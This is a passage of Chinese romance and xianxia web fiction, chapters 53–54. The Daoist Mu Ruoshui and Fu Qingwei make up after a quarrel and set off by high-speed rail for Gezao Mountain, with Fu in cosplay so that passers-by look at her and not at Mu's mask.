凡人的脚步不会被意外的插曲所阻,即使接近穆若水的任务失败,邱老那边尚且不论,灵管局的岁主任不会坐视身怀偃骨的傅清微不管,也许早于今日,在另一条时间轴上,傅清微已经拜入阁皂山,踏上修行之路。 穆若水不是她人生乐章的全部,她还很年轻,她自己都不知道将来的人生会是什么样子,穆若水又如何去断言或强求?宁为玉碎,强求不来。 她想:她应该尝试把自己当成一段间奏,只能陪伴她一程,而不是一世。 罢了,她再陪她最后一程。 穆若水把她的手从自己腰间拿下来,再三保证她不会走,傅清微才松开自己的力道,但仍拘着她的手腕。 “什么时候启程去阁皂山?” “就这两天吧,我今天定下来具体行程。怎么了?” “我和你一起去。” 傅清微张大了嘴。 比她画符那天张得大多了,穆若水手痒,伸进去捉住她正一颤一颤的舌头。 傅清微不防备闭上了嘴,又一次含住了她修长的指尖。 傅清微喉咙滑动,咽了一口口水。 第53章 上一秒还在说没那么深的感情, 下一秒已经把手指伸进人家嘴里玩别人的舌头。 纵然是波澜不惊的穆观主,也不由感到有一种名为打脸的情绪。 穆若水淡淡地看了她一眼。 刚刚咽下口水的傅清微连忙将她的手指吐出来,推拒的力道也是要由舌尖来推的, 于是又和女人的手指有了亲密接触。 穆若水的手指彻底抽出来的时候, 啵的轻轻一声, 从中间指节往下,一片湿漉的亮晶晶。 傅清微往后退了一步, 低下头, 余光仍能瞧见那只漂亮的手。 她没道歉,因为是观主先伸进来的。 穆若水也没别的反应, 总不能倒打一耙说傅清微勾引她, 天地良心傅清微就只是张了一下嘴,她就本能地伸手了,但凡脑子经过一秒思考的时间, 她都不会做出这种事。 要不是傅清微不通玄术, 她都要以为自己被下降头了。 穆若水抽了张纸巾擦手,傅清微在旁边看着那两节刚停留在自己口腔里的手指,比常人修长, 曲起来的骨节也灵活有力,指甲又长出来了,盖过圆润的指腹。 明明前两天刚剪过,长得未免太快了些。 以她指甲的生长速度, 恐怕隔天就要修剪一次。 穆若水擦干后二指捏了捏,又进卫生间洗手。 傅清微下意识跟了两步停下来, 在狭小的客厅里茫然地转了两圈, 才想起来自己要做的下一件事是什么。 手腕防身的佛珠已经收回去了,她得尽快成长起来才行, 这天早上她念了一百遍《金光咒》。 可能是上次请神成功的缘故,朦朦胧胧触到了那条界限,傅清微再打坐的时候产生了一种玄妙的感觉,坐悟天地,鱼翔浅底,她化身一尾游鱼,忘乎所以地游曳,一阵风吹过来,她又化作落叶伴随清风卷向长空。 花草是她,树木是她,叶片上坠落的一滴露水也是她。 在渗入土地之时,她又成了拥抱雨露的大地,一只从草丛里跃过的昆虫。 旁人或许看不见,但是穆若水能感知到她身周有一股炁在缓慢地流动,正围绕她形成一个盘旋的圆心,开着的窗户外面没有风,有一种莫名的力量将空气引向圆心的方向,浊气阻而清气从皮肤渗入经脉。 她结束打坐以后,那股炁也没有离开,而是进入了她的身体,在表层浮现一层稍纵即逝的白光。 由虚入实,说明她已经有了护体罡气。 就算没有随身佩戴宁心符,只要她心念一动,寻常的小鬼便近不了身。非但如此,罡气可以增强修道者的体魄,在关键时候护住要害,减轻伤势。以占英为例,受的伤足以让寻常人神仙难救,而她只是重伤修养。 傅清微什么都不知道,只知道今天打坐没那么累了,头脑清明,但肚子还是一如既往的饿。 昨天晚上她就胡乱吃了一点,现在饿得前胸贴后背。 观主背对着她,不知道在想什么,因为房子小,她又不和傅清微拉近距离,姿势看起来有点像面壁。 傅清微哪敢提醒她,自己打开了冰箱翻吃的,这一看又鼻梁发酸。她们两个感情好没吵架的时候,去菜市场买了好多的肉和菜,现在肉还在冰箱里,她们俩已经相敬如冰了。 傅清微自己挑了块分好的猪肉出来解冻,拿了冷藏里的大蒜叶和青椒,打算中午做一个蒜苗炒肉和辣椒炒肉,一份肉两样炒。 至于早饭,她也会下面条,只是没观主做的好吃。 冰箱里还剩了番茄,傅清微切成大块,丢进清水里,煮得差不多再捞上来。 一样一样下锅,最后拼起来,面是面番茄是番茄的,没食欲得仿佛燕麦减脂餐。 她平常吃什么都差不多,这阵子被养叼了嘴。观主不开心,她本来就吃不下,吃了一口自己做的饭差点吐了。 傅清微冲进厨房,俯身对着垃圾桶:“呕……” 穆若水实在忍不住地笑了出来。 傅清微刚咽进去的食物没来得及落胃袋为安,全从食管返上来了,连隔夜饭都差点吐出来。 “呕……” 食管反流过的人都知道,吐到后面只有酸水,还会呛到眼睛鼻子,不受控制地流出生理泪水。 傅清微一只手扶着料理台的大理石边缘,另一只按在胸口下方的位置,眼圈和鼻子都是红的,漂亮的脸上布满泪痕。 穆若水笑不出来了。 一只手顺上了她的胸口,如春风徐徐抚过,也可能是傅清微抬头看到那张面具时温柔的错觉。 她低下头,穆若水的手确确实实抵在了她的胸口,冰冷的掌心散发出热意,隔着衣料源源不断地输送过来,傅清微胸肋之间难受的感觉缓解了许多。 “遇到我之前你是怎么活下来的?” 这是穆若水第二次问她这个问题。 此情此景,傅清微苦涩一笑:“我也不知道,凑合活吧。” “去漱口洗脸。”穆若水收回手,把她推出厨房,“我给你重新做一份。” 冷战归冷战,饭还是要做。 傅清微也不知道自己怎么会吐,难道刚刚观主把手伸进她嘴里的时候塞了个娃娃?她一边刷牙一边被自己逗笑,笑自己都这种时候了还有心情想玩笑话。 但是穆若水一对她好一点,她就控制不住地开心,心情也明媚了起来。 穆若水就像她世界里的风和云,太阳和雨,轻易摆布天气。 太阳藏进云层,多云转阴。 餐桌上摆着一碗热气腾腾的面条,只是对面少了坐着看书的女人。 冷脸做饭的穆观主绝不会再冷脸看她吃饭。 傅清微胃口大减,虽然一样的好吃,但吃饭的速度显然慢了下来,不时看一眼又跑去“面壁”的女人,好歹是没有再吐出来,连面带热汤完完整整地祭了五脏庙。 傅清微收拾好碗筷和厨房出来,穆若水坐在沙发固定的位置上看书,她看书的速度很快,每天又没有别的娱乐,客厅小书架上的书被她翻得七七八八。 换句话说,就是都留下了她的痕迹。 卧室更不用提了,连屋子都送她了,衣柜里也有为她添置的新衣服。 傅清微停在了厨房门口,看着穆若水翻动一页书页,蓦地升起一种这样也很好的幸福感。 如果她不去阁皂山,她们就不会面临分开的困境,每天观主会给她做一日三餐,她会为她做除了一日三餐以外所有的事。现在她在上学,穆若水会陪她去学校,等她上了班,找到一份稳定的工作,她们会每天待在一起,看日出日落,日落后去广场散步,她撺掇观主跳广场舞,观主会用手指弹她,但根本舍不得用力,眼底全是纵容。 她们会继续暧昧,也许暧昧升级了,她幸运的有那么万分之一的好运气成为观主的女朋友,爱情事业双丰收。 不是也很好吗?这就是她梦寐以求的生活,千金都不换。 但是这样的生活真的能持续吗? 所以的一切都依赖于穆若水会一直陪伴她,傅清微只能去适应她给的生活,为她牵动神魂,毫无自主权。 有朝一日她走了她连去哪里找她都不知道。 她是修行者,自己是凡人。 虽不能说仙凡有别,但至少是天壤之差。 很多事情傅清微不说不代表她没想过,为什么她会从棺木中醒来,道观的封印是怎么回事?为什么她已经一百多岁了外貌却保持着年轻的样子,为什么灵管局的人对她毕恭毕敬? 她是谁? 慈让真人,蓬莱观主,穆若水,可然后呢? 她除了知道她的名字以外一无所知,观主也不打算告诉她。 她的世界看似纵容,实则将自己拒之门外。接受她暧昧的言语,甚至会和她有肌肤之亲,有时候给她一种她好像喜欢她的错觉。傅清微从来没有谈过恋爱,不知道什么是喜欢,但她知道在一起不是这样的。 不是一个人游刃有余,另一个人宛如有灵魂的傀儡,生活在一段看似甜蜜实则镜花水月的关系里。 昨天在医院里观主掐着她的脖子,好像真的想杀了她。 说实话傅清微不怕死,尤其不怕死在穆若水的手里,她也不怕痛,窒息而已,幼时几个鬼魂挤在她身体里的时候比这痛苦多了。 不提她对观主有一种盲目的信任感,她笃定她不会杀她,就算杀了她,她至少救了自己两次,她还欠她一条命。 昨天的事反而坚定了她的想法。 她一定要做个修行者,而不是羸弱的凡人,要有自保的能力,去帮助他人,去看清她到底是谁。 为什么她那么厌恶生人的气息?为什么她控制不住自己的杀意习惯用武力解决问题? 又为什么人世海海她偏偏选中了自己? 她的过去呢?她是一直这样吗?还是被谁变成了这个样子? 她要踏入的不仅是未知的危险世界,不止是降妖伏魔,也是她所在的世界。 阁皂山是修道的起点,灵管局是她要去的地方——一个穆若水在这里有着“特别顾问”头衔的机构。 有一天她们分开,至少她知道要去哪里找到她。 傅清微冷静地翻开面前的题库,一题一题地刷过去,全神贯注。 她一定要考上灵管局! * 穆若水不知道现代社会有做饭保姆的角色,否则她就会发现和自己现在没什么差别。 不想理傅清微,但是一到点老老实实起来冷脸做饭。 就傅清微那个吃自己亲手做的饭都会吐成那样的德行,她不管她,在去阁皂山之前就饿死了。 说好了陪她最后一程,总要把她平安送到阁皂山。 下午的时候占英给傅清微打了个电话,说让部门同事给她闪送了点东西。 傅清微去楼下拿了快递,打开来看是三样东西,一根簪子,用红绳编织的五帝钱铜钱手串,最后是一块玉。 占英从白姝那里薅来好久了,一直没机会给她,昨天傅清微去医院探病的时候,刚好不在她手边,今天就让同事去她家上门取了送过来。 占英上次对穆若水托词说是外地妖鬼干的,把白姝隐瞒了过去,穆若水没有追问,勉强过关。 现在也过了一段时间,傅清微又要成她同门了,占英尽快把法器送到了她手上,简明扼要地说了一下事情经过,顺便替白姝求情。 占英:【白姝真不是故意的,她就是看你长得好看没忍住想借你的身体照镜子。看在她没有真的伤害你,又送上三样防身法器赔罪的份上,你帮她向观主求个情?她已经半个月没有出门了,家里的外卖垃圾都堆不下了。】 傅清微完全不记得那晚上身之后的经过,她亲过穆若水的事目前只有穆若水一个人知道。 也不知道白姝曾经故意欺瞒观主的事。 印象里是毁了她三张符箓,三样法器比三张符箓值钱多了。 求情好说,问题的关键是……她和观主在冷战。 傅清微:【我也很想为她求情,但现在时机不合适,你让她再在家待几天吧】 占英:【是不是观主对赔偿不满意?我再去敲几笔竹杠?】 傅清微心说:是她对我不满意。 傅清微:【不是,总之我会记得的,有进展通知你】 刚没了佛珠,结果一次性送来三样法器,暂时不用担心生命危险了。 傅清微把桌上的东西摊开,簪子不知道怎么戴,先收了起来,玉佩刚好挂脖子里,铜钱手串填补了红线佛珠的位置。 咔哒—— 到点了。 田螺观主出来做晚饭了。 傅清微连忙收拾桌子,但观主看都没看她一眼就进了厨房。傅清微摸了摸手上的五帝钱手串,还是取了下来装进盒子里的荷包,暂时收好。 傅清微假装洗水果进了厨房,对穆若水露出一个笑容。 穆若水戴着面具,也不知她有没有做出表情。 厨房小,转身之间两人难免有碰到的地方,有时候是穆若水去拿切好的食材,傅清微刚好去帮忙,两人的手碰在一起。 一顿之后又各自若无其事地错开。 傅清微:“苹果你是想吃削皮还是不削皮的?” 穆若水:“削皮的。” 傅清微:“那我一会给你削吧,现在削了容易氧化。” 穆若水嗯了一声。 也不是完全不理她,就是不主动和她搭话,不让她看她的脸。 傅清微:“我报名了驾照考试,明天要去医院体检,你和我一起去吗?” 医院? 穆若水心念一动,她刚把她佛珠收回来,这下不去也得去了。 穆若水嗓子刚从寒潭泡过似的,冰冷地开口:“什么是驾照考试?” 傅清微解释说:“就是我们出门坐的那种车,有驾照才能开。等考到驾照,我们就可以自己开车了。” 穆若水哦了声:“你自己开吧。” 傅清微嘴里微苦。 她一个人怎么开车? 要不是因为认识了观主,她连驾照都不想考。 傅清微往热火朝天的炒锅里看,说:“多放点酱油,这道菜我喜欢颜色重一点的。” “……” 观主抬起了手,中指抵在大拇指上,看起来很想弹她脑门。 傅清微皮完这一下又有点高兴起来,说:“酱油少一点也没关系的,我都爱吃。” 穆若水抄着锅铲把她赶了出去。 穆若水好不容易得了清净,察觉到身后有一道视线,她扭头一看,傅清微两只手扒在厨房门口,只露出一个脑袋,一见她就绽开灿烂的笑容。 “……” 停顿了几秒钟之后,穆若水正了正自己的面具,好像这样就能把面具里不断扬起的笑意压回去。 以前怎么没发现傅清微这么无聊? 穆若水拿起旁边的酱油瓶,多倒了两滴老抽。 这下连做饭也绷不住冷脸了。 ——还好有面具。 穆若水再一次确认面具戴好了,才端菜出来。 傅清微刷题刷得忘记时间,穆若水本来该言辞俱厉地在餐桌边叫她的,但她几乎没有发出任何响动地朝书桌走了过去,从背后看她摊在桌上的资料。 她知道她在备考,密密麻麻的字让穆若水晕字。 穆若水喜欢看闲书,但不喜欢考试,更不爱学习,记得她以前刚入道的时候背晦涩难懂的经文,那时她还是个小孩子……她…… 傅清微的肩膀陡然一沉,原来是穆若水的手掌撑在了她的肩上。 “道长?” 傅清微看不到她面具后的表情,但对方的呼吸似乎在加重,变得急促而深沉。 她…… 那只无形的手又出现了,穆若水紧紧抓住了一根线,试图抵抗飞速流失的记忆。脑海中的橡皮擦在黑板上擦了又擦,把那道模糊的修长身影擦除得彻彻底底。 傅清微的肩膀一痛过后一松,穆若水呆呆地站在原地。 目光好半天才落到傅清微的脸上,恢复焦距。 “道长,你怎么了?” “没事。”穆若水越过她的肩膀看向书桌上的资料,密密麻麻的字看得她眼晕。 她喜欢看闲书,但不喜欢考试,穆若水收回了视线。 “吃饭了。” “哦好。” 傅清微坐到餐桌前,穆若水大概心不在焉,也跟着坐到了对面,没看书只是在发呆。 她摊开手心里的那根线,已不记得方才都想了些什么。 有人或者有一种力量抹掉了她的记忆,这个人力量比她强。 穆若水第二次出现这种情况了,她清晰地意识到了这一点。 她不执着于找回从前的记忆,于她已如前世,但不代表她能容忍有人对她的记忆动手脚。到底是谁? 灵管局的人为什么会知道她苏醒的消息?她睁开眼第一个看见的人是傅清微,总不可能是傅清微这个小傻子说的。 她抬了一下眼,傅清微有了下饭的秀色,吃得正香,简直可以说是无忧无虑。 穆若水手指沾了水在桌面写字,一边思索一边圈画,她思考的时候喜欢做点小动作,她已经很久不用这副脑子思考了。 第一个问题也是最关键的:她为什么会陷入沉睡? 一百年没用的脑子生了锈,穆若水想不下去了,等把傅清微送去阁皂山,她就去扫荡灵管局,把岁已寒抓起来审一顿,不说就先杀了占英! 占英还不知道自己又上了观主的杀人名单,运气的中途打了个响亮的喷嚏,差点岔气。 另一方面,傅清微已经定好了去阁皂山的行程。 阁皂山远在江西宜春,当地有个明月山机场,飞机和高铁都可以抵达。傅清微在准备订票的时候发现自己漏掉了一件重大的事。 “道长!道道道道长!” 傅清微在客厅里催命一样的扯长脖子喊,穆若水的身影出现在卧室门口:“有话说。” 傅清微马上放出来,着急地大声问:“你有身份证吗——” 她一个刚下山的半古人,哪来的身份证,这不是为难她小猫咪?完了完了,铁定没有。傅清微已经在盘算包车去阁皂山的路费了,只见穆若水在衣袖里掏了掏,掏出一张薄薄的卡片,随手一抛,朝她飞了过来。 傅清微伸手接住,到手一看,竟然是一张货真价实的身份证。 姓名:穆若水 性别:女民族:汉 生日:2006年8月8日 身份证号:51010120060808XXXX 签发机关:鹤市公安局 不是,她还真有啊? 傅清微目瞪口呆:“你哪来的?”办假证可是犯法的。 穆若水靠在门边,抬了抬下巴,说:“灵管局给的。” 第一次占英用无人机空投物资的时候,和手机一起的就有这张身份证。当时穆若水不知道是什么,和别的垃圾一起扔进了厨房。 下山以后,穆若水在人间生活了一段时间,明白了身份证的重要性,没有身份证就办不了银行卡,好多东西都要实名认证,她半夜偷偷回道观翻垃圾又拿回来了,揣在袖子里以备不时之需。 “原来是灵管局给的。”傅清微放心地点了点头,大拇指移开,看清身份证上的人脸时,惊恐填满了她的面部,“啊!!!这个人是谁?!” 这根本不是她如花似玉、闭月羞花的观主! 穆若水见不得她一惊一乍,走了过去,视线落在那张AI生成的脸上,轻描淡写。 “我哪知道是谁?”反正不是她。 穆观主根本不知道人、脸、证三合一的重要性! “不行,我得去问问占科。” “你又给她打电话。”穆若水忍不住抱怨了一声。 傅清微心惊肉跳,正沉溺于有人冒脸顶替穆若水身份证的惊恐中,没听出她话里的醋意。 穆若水及时住了嘴。 傅清微的电话已经拨通了。 “占科,我有件事想询问你,我现在拿到了观主的身份证,为什么……” 占英给她解释了一下。 身份证是真的,名字、出生年月日、身份证号码都合法有效,官方能查到,灵管局为了观主能顺利地融入现代社会特意走了特殊通道为她办理,但是脸是假的,因为没有人知道穆若水长什么样子,她自己也不可能去公安机关拍照录入,所以目前用的是AI生成的脸。 傅清微:“可是脸不对的话,她怎么刷脸进高铁站和机场?” 占英:“她要坐飞机啊?去哪儿?” 傅清微:“和我去阁皂山。” 占英:“啧啧啧。”就这么如胶似漆啊。 傅清微奇怪:“你啧什么?” “没什么。”占英清了清嗓子,说,“有两个方法,第一,她现在去把脸的信息更新一下;第二,坐高铁,我让领导去打个招呼,可以不用刷脸直接进。” 傅清微:“岁主任吗?” 占英:“啊对。” “那你说什么领导,直接说你师父不就好了?” “不是显得正规一点嘛。”占英悄悄看了一眼正在给她削水果的领导,坐正了身子。 “好,我先帮她把高铁票买了,回头把车次发你。” “成,代我问观主晚好。” “你和观主交情很好吗?”傅清微多问了一句。 “我只是她忠实的仆人而已。”占英笑道。没必要吃她的飞醋呀。 傅清微脸莫名发热,嗯了一声就挂了。 她抬起眼帘,穆若水的面具几乎贴在她的脸上,傅清微连一惊一乍的力气都没有了,抬手抱住了她的肩膀。 “干吗?” “没什么。”穆若水被她固定住双肩动不了,身体前倾,呼吸的热气都被阻在柳木面具里,烘得她的脸也热热的。 “不干吗你为什么盯得我这么紧?” “……” “怕我跑了?” 穆若水抿唇,开始往后退,她似乎总是在退,过往的,现在的。 不敢靠近,不能靠近。 然而这退势被一只手阻住,贴在了她单薄的后背上。 她的身体被带着又一次前倾,直接落进了一个温柔的怀抱。 “你可以抓住我。” 穆若水垂眼,小心翼翼地,捏紧了她一片衣角。 第54章 前往阁皂山的行程定在了后天, 高铁商务座两张,票价高达4200元! 傅清微在认识穆若水以前,目光从来没有从二等座那一行离开看过别的地方, 连一等座都没有肖想过, 现在也算是鸟枪换炮了——被迫的。 车程长达八小时, 她的腰软,她年轻, 她坐八小时累就累点。 前些年网上说“青春没有售价, 铁腚直抵拉萨”,要不是甘棠她妈爸不放心, 也觉得没必要让孩子吃那个苦, 前两年她就和甘棠赶潮流硬座去拉萨了。 但观主不一样,观主她……身体比她好,体能比她强, 总之……就是不一样。 而且穆若水脾气坏, 不喜欢生人,要是让她坐在塞满了人的车厢,全是陌生难闻的味道, 她怒从心起,说不定要以危害公共安全罪被抓进去。 傅清微含泪付了4210元。 然后她擦了擦眼角没流出来的泪水,把包含车次的订单一起发给了占英。 占英:“……” 这个报销规格属实是有些高了。 虽然她们出差有时候也坐商务座,但那是公务, 而且是领导坐的,占英升了科长以后也不是回回都有商务座。 占英把手机递给岁已寒:“领导, 你看?” 岁已寒把苹果塞她嘴里, 说:“不要走上头了,手续麻烦, 我来报。” 占英接住苹果,咬了一大口。 岁已寒拿着她的手机回消息。 占英:【[转账]向你转账4210元】 傅清微:【[转账]向你转账2105元】 占英瞧着手机屏幕,咦了一声。 傅清微:【报穆顾问的就行了,我的那份我自己出】 占英:【^_^】 占英看着岁已寒模仿完她的聊天语气,面无表情地把手机丢了回来。 占英又翻了一遍聊天记录,笑着说:“还挺公私分明的,不占小便宜。” 岁已寒也不理她,冷脸剥香蕉。 占英:“我错了师父,我前两天不该偷偷下床。” 岁已寒头也不抬:“只有前两天吗?” 占英顾左右而言他,又看向她的手制止:“师父别剥了,我真吃不下了。” 岁已寒微微一笑:“点奶茶的时候怎么不见你喝不下呢?” “我再也不敢了师父。” “吃。”岁已寒走过来,轻描淡写。 “是。”占英张嘴,乖乖往下咽。 * 资金回笼2105元,傅清微对着Excel精打细算,开源节流,钱就是这么一分分省出来的,虽说观主来了以后光速见底,但她花得心甘情愿。 去阁皂山是有正事,但两人第一次一起出远门,还是给了傅清微一种暗暗的情侣旅行感。 她关掉Excel表格,重新打开了搜索页面。 当地有什么好玩的景点,好吃的特色美食。以前和甘棠出门旅游的时候,她都是负责制定计划的,甘棠只需要当尸体,感谢朋友送来的宝贵经验,现在的她对旅行计划可谓信手拈来。 “道长你想泡温泉吗?”傅清微偏头问道。 穆若水坐在沙发里,一张面具对着她。 “我在山上天天泡。”似乎在怪她的话多此一举。 “对啊,现在不是不在山上吗?换个地方泡温泉嘛,目的地有个温泉小镇,口碑还挺好的。” “你不是去拜师的吗?” “话是这样说,但我不是先去参观的吗?而且修道也不代表要做个一点娱乐都没有的苦行僧啊,占科还天天喝奶茶。温泉泡不泡?” 穆若水不接茬。 不反对就是同意,傅清微在计划里勾下一笔。 她就知道观主会心动,否则以前能天天晚上趁她睡着去泡温泉浴? 这可能是穆若水醒来过后为数不多的兴趣了。 穆若水:“我不想见外人。” 傅清微:“知道,我会定私汤的,现在我们俩可是有钱人。” 我们俩,我们俩…… 穆若水面具底下的薄唇抿了抿。 观主不用吃饭,所以美食一概划去,等等,傅清微还是留下了一间餐厅,问她:“能陪我去吃一家特色菜吗?就一家。” 穆若水:“你就吃一顿饭?” 她的意思是吃几家都行,她无所谓,傅清微心领她别扭的好意,毕竟不是真的去玩的,能一起泡温泉就很好了。 傅清微:“剩下的说不定要在山上吃,对付一下就好了。” 穆若水淡淡道:“随你。” 抬起的面具也低了下去。 傅清微在心里叹了口气。 没能见到观主脸的第一天,想看。 没能见到观主脸的第二天,想得抓心挠肝。 没能见到观主脸的第三天,傅清微去医院做完了体检,通过了驾照报考,开始刷科一的题,还是想看她,内心蠢蠢欲动想揭她面具,故意路过沙发几十次根本不敢。 出发的前一晚,傅清微收拾好行李箱,给观主剪完指甲之后把指甲钳收进了随身的背包里,早上又检查了一遍。 清早的鹤市高铁站入口。 鹤市是西南交通第一枢纽,不管是早晨还是夜晚,从来就没有人少的时候。 人来人往的进站口前,每一个路过的人都会将视线投往马路边的一对打扮奇异的女生,其中一位穿着一身鲜红道袍,锦衣皂靴,脸上戴着凶神恶煞的面具。 另一位粉色长发,穿着动漫人物的衣服,裙子过膝,但她还是不自在地往下拉了拉。 一个人这样出现突兀,尤其戴面具那个,冷不丁能吓哭好几个小孩。但是两个人并肩站着,在二次元蓬勃发展、cos漫展遍地都是的鹤市就显得再正常不过。 结伴的小姐妹coser嘛,估计还是本市的大学生。 无数个路人投过来一眼,淡定地收回了视线,见怪不怪。要不是两人都身材高挑,粉头发的女大长了一张漂亮得出类拔萃的脸,头小皮肤白,大眼睛明亮有神,路人都懒得多停留目光。 这两个人正是穆若水和傅清微。 傅清微为什么会打扮成COSER? 事情还要从前天晚上说起。 傅清微习惯提前准备,再者又是和穆若水一起出门,她不免多了几分兴奋,就更加上心。 自从她俩吵架,穆若水就没有换过现代衣服,楚河汉界,不相往来。傅清微给她收拾的时候发现她连内衣都没穿——不是,是没穿她买的,估计又换回肚兜了。 那内裤……她也不敢戳破,她也不敢问。 她只装作不经意地问她:“高铁站人比较多,要不要换一身没这么引人注目的衣服?” 穆若水:“不。” 傅清微:“但会有很多人看你。” 穆若水:“不。” 傅清微柔下声音哄:“面具换口罩行不行?” 穆若水:“不。” 三连不,堂堂否决,毫不拖泥带水。 傅清微不知道灵管局特殊通道是怎么走的,但总不可能让她们从天而降到高铁上,列车没进站飞也飞不进去。人流量那么大,肯定是要见人的,车厢里也不会只有她们两个,12306现在都显示无票了。 总而言之,穆若水要戴青面獠牙的面具出现在高铁站,一定会引来大量视线,看她的人多了,保不齐她就生气了,以前还能埋自己脖子里吸两口续命,现在大犟种死倔,好几天了碰都不碰她一下。 傅清微奈何不了她,和甘棠聊天的时候偶然提起这件事。 甘棠:【你请假出去玩啊,一个人还是和哪个小妖精?】 傅清微:【和女主B】 [甘棠撤回了一条消息] 甘棠:【不好意思,请问女主A和女主B是进行到蜜月旅行阶段了吗?】 傅清微:【是,但是女主B要戴个面具到处走,麻了,类似这种[网络图片]】 甘棠:【哇,好酷。女主A在不满什么?】 傅清微:【女主A不希望太多人看她,毕竟你也知道女主B身材多好】 傅清微不能说观主杀心重,假借了自己吃醋这个理由,真真假假,她也懒得去分清了。 甘棠:【女主A的身材也不错呀,我和女主A一起搓过澡】 傅清微:【没有人让你点评身材捏】 甘棠:【女主A的诉求是什么?】 傅清微:【让她看起来没有那么惹眼】 甘棠:【了解,你不觉得她的衣服和她的面具搭起来,某种程度特别像coser吗?】 傅清微:【所以?】 甘棠打了个响指。 【我有办法】 第二天她亲自送来了一个包裹,本来想看看女主B,女主B脾气太坏又拒绝镇定剂,只能在楼下和傅清微见面,包裹里是甘棠上次参加漫展的cos服,搭一对兽耳。 “你确定换上这个就能有效果?” “包有效的。” …… 傅清微和穆若水站在人来人往的高铁站门口,因为结伴coser比落单的观主正常多了,确实有效地阻碍了落到穆若水身上的视线。坏消息是路人的注意力全在傅清微这位露脸的粉色长发女大身上。 有几个人明明在赶车,推着行李箱一路快走,还要停下来看几眼,最后那位女生都走过去了,把行李箱丢给同伴,小跑过来:“你好小姐姐,你好漂亮,能不能加个微信?” 傅清微:“……” 穆若水抬手揪了一下傅清微雪白的兽耳。 明明不是真的长在她脑袋上,傅清微却微妙地感到仿佛自己真正的耳根被牵扯,顺着脖颈一点点漫上红云。 傅清微红着脸:“不好意思,我女朋友生气了。” 女生这才注意到她身边的穆若水,连忙说:“啊,抱歉打扰了。”落荒而逃去赶车了。 穆若水只是随意的一个动作,扯完就收回手,傅清微调整了一下被她弄歪的兽耳,解释说:“我刚刚只是为了打发对方快点走。” 穆若水垂眸看自己的袖子,瞧不见表情。 “无妨。” 傅清微看着她面具侧面露出来的白皙皮肤,又目光偏移将她上下都看了一遍。 “道长,我们要不要拍张合照?” “不拍。” 傅清微掏出手机,打开自拍镜头,把两个人都入镜,穆若水也没有躲开。 反正她不露脸,也没人看得到她紧张得闭起来的唇。 “一、二、三。” 咔嚓—— 傅清微这位自拍苦手在拍人上没有丁点进步,几乎是刚拍完就露出一张苦脸。 人怎么能把正常人的脸拍出这种角度的? 当众穿cos服已经耗尽了傅清微所有的社交值,她没办法再鼓起勇气像个e人那样随手拉一个观众为她俩拍照,于是就着拙劣的技术又多拍了几张,观主都站着不动配合了。 就在傅清微放弃自拍走开想单独拍她的时候,穆若水说:“不拍。” 这次是真不拍,连脸都转过去了。 傅清微看着车站人潮来去,酝酿了十分钟,脸都红了冲到一位脖子挂着相机的旅客前面:“你好!” 相机旅客差点被她的鞠躬磕到,往后退了一步:“你好?” 傅清微拿着手机往前递:“可以帮我们拍张照片吗?”她指了指不远处的穆若水。 相机旅客微微笑道:“可以啊。” 相机旅客接过手机,傅清微同时向穆若水跑去,小心地牵住她的袖子。 相机旅客半蹲下来,一看就是专业的,眼看着拍了好几个角度,傅清微一把挽住穆若水的胳膊,脑袋轻轻地靠在她的肩膀上。 相机旅客被手机遮挡了脸部,唇角也情不自禁露出笑容。 “好了。”她把手机递过来。 “谢谢姐姐。” “不客气,姐姐请你吃糖。”看上去有三十来岁的相机旅客手伸进大衣口袋里,没掏出糖,倒是掏出两块巧克力。 “巧了,祝你们百年好合。” 傅清微看一眼看不到表情的穆若水,满脸通红小声应了句:“谢谢。” 相逢即是有缘,相机旅客冲她挥了挥手,进了玻璃之后的进站口。 傅清微从头开始查看相册,一张一张翻过去,看到最后才发现镜头拍到了她没有注意到的画面。 原来最后一幕,她将脸枕在穆若水肩膀上的时候,穆若水也把脸转了过来,低头看着她。 不知道是构图还是光影的原因,即使她戴着面具,温柔的眼神也可以穿透画面,让每个看到这张照片的人感知到。 怪不得那个相机姐姐会祝她们百年好合,傅清微这个画中人看得心动不已。 傅清微悄悄地设置成了聊天背景。 她挑了一张普通一点的,发了条朋友圈,设置了观主和甘棠可见。 两位coser等到开车前半小时,傅清微的手机响了,一位穿着制服的人从里面出来,确认了身份把她们从人工通道带了进去。果然如傅清微所料,两人一路穿过人流,穆若水下山以后就没来过这么多人这么吵的地方,耳边都是嘈杂,广播声响彻耳际,当即停下了脚步,不露脸傅清微也知道她在皱眉。 好在她替穆若水吸引了绝大多数的关注,一只手牵紧了她,有惊无险地进了商务休息室。 距离发车时间短,商务休息室坐了没几分钟,她们又被带上了车。 送她们上来的人说:“出站直接刷身份证就行。” 傅清微客气地道了谢。 傅清微这才将自己被捏得生疼的手从穆若水手里抽了出来,刚刚一进站,她本来想去牵观主,谁知道对方动作比她还要快地攥住了她的手腕,力气还越来越大,差点带着她飞起来。 她的兽耳也在途中被观主取下来拿在手上。 刚坐下不到半分钟,观主又命令她说:“把你的头发摘了。” 傅清微不明所以,听话地把一头粉毛取了下来,车厢里另外两名旅客的窃窃私语声马上停了。 穆若水坐在她隔壁,对她说:“下次不要穿成这样。” 傅清微还在不解:“为什么?是不好看吗?”不可能啊,好多人在看她,转移注意力的计划不要太成功。 穆若水:“不是。” 傅清微:“那是为什么?” 穆若水半晌没接话,好半天才吐出两个字:“不准。” 傅清微哦了声。 她把粉色的长发收好,连同刚从道长那里拿回来的兽耳一块装进包里,变成一个穿着小裙子cos服的普通漂亮的女大。 两排一共五个座位,上车前傅清微特别担心车厢里有调皮的小孩,或者粗鲁的男的,动辄脱鞋。好在没有遇到,后排是两个年纪不大的女生,刚从对着傅清微两眼放光小声讨论的就是她们,最后是一位打扮得比较商务的出差人士。 傅清微和穆若水坐前面,1+1的布局,中间隔着走道。 傅清微第一次坐商务座,研究了一圈按钮,还上小红书搜了一下,拍了几张照片纪念,也发给了甘棠。 甘棠看完消息随手点进她的朋友圈,呼吸停了一秒。 甘棠:【美得有点超过了姐妹,我就知道这个粉头发巨配你,脸又小又白,绝了!】 傅清微:【我现在怀疑你就是故意想让我穿cos服,满足你的私欲】 甘棠:【食色性也!我满足自己的眼球有错吗?去年我跪下来求你你都不肯穿,重色轻友!再说你就说效果好不好吧,有没有迷倒女主B?】 虽然主要目的不是为了迷倒女主B,但傅清微偏头看了一眼双手抱在胸前,似乎已经开始闭目养神的穆若水。 傅清微打字的动静放得很轻:【她好像吃醋了】 甘棠:【好耶,女配C终于助攻成功了一次,请女主A把握机会】 傅清微打字:【我也不知道】算了,删掉。 傅清微:【我试试】 